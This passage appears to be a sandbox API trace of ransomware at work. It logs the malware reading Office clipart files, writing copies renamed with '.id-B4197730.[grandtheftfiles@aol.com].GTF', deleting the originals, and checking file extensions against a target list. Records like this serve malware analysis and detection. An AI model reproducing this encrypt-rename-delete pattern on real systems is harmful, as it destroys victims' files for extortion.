	[0081.533] SetEndOfFile (hFile=0x380) returned 1
	[0081.534] CloseHandle (hObject=0x380) returned 1
	[0081.534] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.534] SetEndOfFile (hFile=0x378) returned 1
	[0081.535] CloseHandle (hObject=0x378) returned 1
	[0081.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1
	[0081.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0081.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0081.536] lstrlenW (lpString=".doc") returned 4
	[0081.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.536] lstrlenW (lpString=".docx") returned 5
	[0081.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.537] lstrlenW (lpString=".pdf") returned 4
	[0081.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.537] lstrlenW (lpString=".xls") returned 4
	[0081.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.537] lstrlenW (lpString=".xlsx") returned 5
	[0081.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.537] lstrlenW (lpString=".ppt") returned 4
	[0081.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0081.537] lstrlenW (lpString=".zip") returned 4
	[0081.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.537] lstrlenW (lpString=".rar") returned 4
	[0081.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.537] lstrlenW (lpString=".bz2") returned 4
	[0081.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.537] lstrlenW (lpString=".7z") returned 3
	[0081.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0081.537] lstrlenW (lpString=".dbf") returned 4
	[0081.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0081.537] lstrlenW (lpString=".1cd") returned 4
	[0081.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0081.537] lstrlenW (lpString=".jpg") returned 4
	[0081.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0081.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0081.537] lstrlenW (lpString=".doc") returned 4
	[0081.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.537] lstrlenW (lpString=".docx") returned 5
	[0081.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.538] lstrlenW (lpString=".pdf") returned 4
	[0081.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.538] lstrlenW (lpString=".xls") returned 4
	[0081.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.538] lstrlenW (lpString=".xlsx") returned 5
	[0081.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.538] lstrlenW (lpString=".ppt") returned 4
	[0081.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0081.538] lstrlenW (lpString=".zip") returned 4
	[0081.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.538] lstrlenW (lpString=".rar") returned 4
	[0081.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.538] lstrlenW (lpString=".bz2") returned 4
	[0081.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.538] lstrlenW (lpString=".7z") returned 3
	[0081.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0081.538] lstrlenW (lpString=".dbf") returned 4
	[0081.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0081.538] lstrlenW (lpString=".1cd") returned 4
	[0081.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0081.538] lstrlenW (lpString=".jpg") returned 4
	[0081.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.538] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.538] lstrlenW (lpString="AN04235_.WMF") returned 12
	[0081.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0081.539] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=7804) returned 1
	[0081.539] CloseHandle (hObject=0x378) returned 1
	[0081.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220
	[0081.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0081.540] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.540] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0081.540] GetLastError () returned 0x0
	[0081.540] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1e7c, lpOverlapped=0x0) returned 1
	[0082.026] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1e80, lpOverlapped=0x0) returned 1
	[0082.027] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.027] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.027] SetEndOfFile (hFile=0x380) returned 1
	[0082.027] CloseHandle (hObject=0x380) returned 1
	[0082.028] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.028] SetEndOfFile (hFile=0x378) returned 1
	[0082.029] CloseHandle (hObject=0x378) returned 1
	[0082.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1
	[0082.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0082.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0082.030] lstrlenW (lpString=".doc") returned 4
	[0082.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.030] lstrlenW (lpString=".docx") returned 5
	[0082.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.030] lstrlenW (lpString=".pdf") returned 4
	[0082.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.030] lstrlenW (lpString=".xls") returned 4
	[0082.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.030] lstrlenW (lpString=".xlsx") returned 5
	[0082.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.030] lstrlenW (lpString=".ppt") returned 4
	[0082.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0082.030] lstrlenW (lpString=".zip") returned 4
	[0082.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.030] lstrlenW (lpString=".rar") returned 4
	[0082.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.030] lstrlenW (lpString=".bz2") returned 4
	[0082.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.030] lstrlenW (lpString=".7z") returned 3
	[0082.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0082.030] lstrlenW (lpString=".dbf") returned 4
	[0082.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0082.030] lstrlenW (lpString=".1cd") returned 4
	[0082.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0082.030] lstrlenW (lpString=".jpg") returned 4
	[0082.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0082.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0082.031] lstrlenW (lpString=".doc") returned 4
	[0082.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.031] lstrlenW (lpString=".docx") returned 5
	[0082.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.031] lstrlenW (lpString=".pdf") returned 4
	[0082.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.031] lstrlenW (lpString=".xls") returned 4
	[0082.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.031] lstrlenW (lpString=".xlsx") returned 5
	[0082.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.031] lstrlenW (lpString=".ppt") returned 4
	[0082.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0082.031] lstrlenW (lpString=".zip") returned 4
	[0082.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.031] lstrlenW (lpString=".rar") returned 4
	[0082.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.031] lstrlenW (lpString=".bz2") returned 4
	[0082.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.031] lstrlenW (lpString=".7z") returned 3
	[0082.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0082.031] lstrlenW (lpString=".dbf") returned 4
	[0082.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0082.031] lstrlenW (lpString=".1cd") returned 4
	[0082.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0082.031] lstrlenW (lpString=".jpg") returned 4
	[0082.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.031] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.032] lstrlenW (lpString="BD00155_.WMF") returned 12
	[0082.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.032] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=11636) returned 1
	[0082.032] CloseHandle (hObject=0x378) returned 1
	[0082.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220
	[0082.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.032] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.032] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.033] GetLastError () returned 0x0
	[0082.033] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x2d74, lpOverlapped=0x0) returned 1
	[0082.034] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0082.035] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.035] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.036] SetEndOfFile (hFile=0x380) returned 1
	[0082.036] CloseHandle (hObject=0x380) returned 1
	[0082.037] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.037] SetEndOfFile (hFile=0x378) returned 1
	[0082.038] CloseHandle (hObject=0x378) returned 1
	[0082.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1
	[0082.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0082.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0082.039] lstrlenW (lpString=".doc") returned 4
	[0082.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.039] lstrlenW (lpString=".docx") returned 5
	[0082.039] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.039] lstrlenW (lpString=".pdf") returned 4
	[0082.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.039] lstrlenW (lpString=".xls") returned 4
	[0082.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.039] lstrlenW (lpString=".xlsx") returned 5
	[0082.039] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.039] lstrlenW (lpString=".ppt") returned 4
	[0082.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0082.039] lstrlenW (lpString=".zip") returned 4
	[0082.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.039] lstrlenW (lpString=".rar") returned 4
	[0082.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.039] lstrlenW (lpString=".bz2") returned 4
	[0082.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.039] lstrlenW (lpString=".7z") returned 3
	[0082.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0082.039] lstrlenW (lpString=".dbf") returned 4
	[0082.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0082.039] lstrlenW (lpString=".1cd") returned 4
	[0082.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0082.039] lstrlenW (lpString=".jpg") returned 4
	[0082.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0082.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0082.039] lstrlenW (lpString=".doc") returned 4
	[0082.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.040] lstrlenW (lpString=".docx") returned 5
	[0082.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.040] lstrlenW (lpString=".pdf") returned 4
	[0082.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.040] lstrlenW (lpString=".xls") returned 4
	[0082.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.040] lstrlenW (lpString=".xlsx") returned 5
	[0082.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.040] lstrlenW (lpString=".ppt") returned 4
	[0082.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0082.040] lstrlenW (lpString=".zip") returned 4
	[0082.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.040] lstrlenW (lpString=".rar") returned 4
	[0082.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.040] lstrlenW (lpString=".bz2") returned 4
	[0082.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.040] lstrlenW (lpString=".7z") returned 3
	[0082.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0082.040] lstrlenW (lpString=".dbf") returned 4
	[0082.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0082.040] lstrlenW (lpString=".1cd") returned 4
	[0082.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68
	[0082.040] lstrlenW (lpString=".jpg") returned 4
	[0082.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.040] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.040] lstrlenW (lpString="BD00160_.WMF") returned 12
	[0082.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.041] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=22516) returned 1
	[0082.041] CloseHandle (hObject=0x378) returned 1
	[0082.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220
	[0082.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.041] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.041] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.042] GetLastError () returned 0x0
	[0082.042] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x57f4, lpOverlapped=0x0) returned 1
	[0082.045] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x5800, lpOverlapped=0x0) returned 1
	[0082.046] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
